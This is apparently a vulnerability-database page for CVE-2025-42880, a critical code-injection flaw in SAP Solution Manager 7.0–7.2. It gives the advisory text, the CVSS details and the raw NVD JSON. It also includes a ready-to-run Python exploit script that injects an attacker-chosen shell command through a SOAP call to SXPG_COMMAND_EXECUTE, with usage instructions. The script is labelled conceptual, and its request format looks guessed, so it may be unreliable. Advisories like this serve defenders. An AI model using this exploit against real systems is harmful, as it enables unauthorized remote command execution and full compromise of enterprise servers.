Security Vulnerability Report
中文
CVE-2025-42880 CVSS 9.9 CRITICAL

CVE-2025-42880

Published: 2025-12-09 16:17:52
Last Modified: 2026-04-15 00:35:42

Description

Due to missing input sanitation, SAP Solution Manager allows an authenticated attacker to insert malicious code when calling a remote-enabled function module. This could provide the attacker with full control of the system hence leading to high impact on confidentiality, integrity and availability of the system.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SAP Solution Manager 7.2
SAP Solution Manager 7.1
SAP Solution Manager 7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-42880 PoC - SAP Solution Manager Remote Code Execution Note: This is a conceptual PoC for educational and security research purposes only. """ import requests import sys from requests.auth import HTTPBasicAuth def exploit_sap_solution_manager(target_url, username, password, command): """ Exploit CVE-2025-42880 by injecting malicious code through remote-enabled function module Args: target_url: SAP Solution Manager base URL username: Valid low-privilege SAP user password: User password command: Command to execute on the system Returns: bool: True if exploitation appears successful """ # SAP RFC connection endpoint rfc_endpoint = f"{target_url}/sap/bc/soap/rfc" # Malicious payload targeting remote-enabled function module # The payload exploits missing input sanitation malicious_payload = { "sap-client": "001", "sap-language": "EN", "FUNCTION_NAME": "SXPG_COMMAND_EXECUTE", "PARAMETER_NAME": "COMMAND_NAME", "PARAMETER_VALUE": f";{command}" } headers = { "Content-Type": "text/xml;charset=UTF-8", "SOAPAction": "" } # SOAP request body with malicious input soap_body = f'''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <ns:SXPG_COMMAND_EXECUTE xmlns:ns="urn:sap-com:document:sap:soap:functions:mc-style"> <COMMAND_NAME>OSQL</COMMAND_NAME> <OPERATING_SYSTEM>ANY</OPERATING_SYSTEM> <PARAMETERS>{malicious_payload['PARAMETER_VALUE']}</PARAMETERS> </ns:SXPG_COMMAND_EXECUTE> </soap:Body> </soap:Envelope>''' try: response = requests.post( rfc_endpoint, data=soap_body, headers=headers, auth=HTTPBasicAuth(username, password), verify=False, timeout=30 ) if response.status_code == 200 and "faultcode" not in response.text: print(f"[!] Exploitation attempted - Response received") print(f"[*] Command executed: {command}") return True else: print(f"[!] Exploitation may have failed") return False except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2025-42880-poc.py <target_url> <username> <password> <command>") print("Example: python cve-2025-42880-poc.py https://sap-host:50000 sapuser Password123 'whoami'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] print(f"[*] Targeting SAP Solution Manager: {target}") print(f"[*] Authenticating as: {user}") print(f"[*] Executing command: {cmd}") exploit_sap_solution_manager(target, user, pwd, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-42880", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:52.420", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to missing input sanitation, SAP Solution Manager allows an authenticated attacker to insert malicious code when calling a remote-enabled function module. This could provide the attacker with full control of the system hence leading to high impact on confidentiality, integrity and availability of the system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://me.sap.com/notes/3685270", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}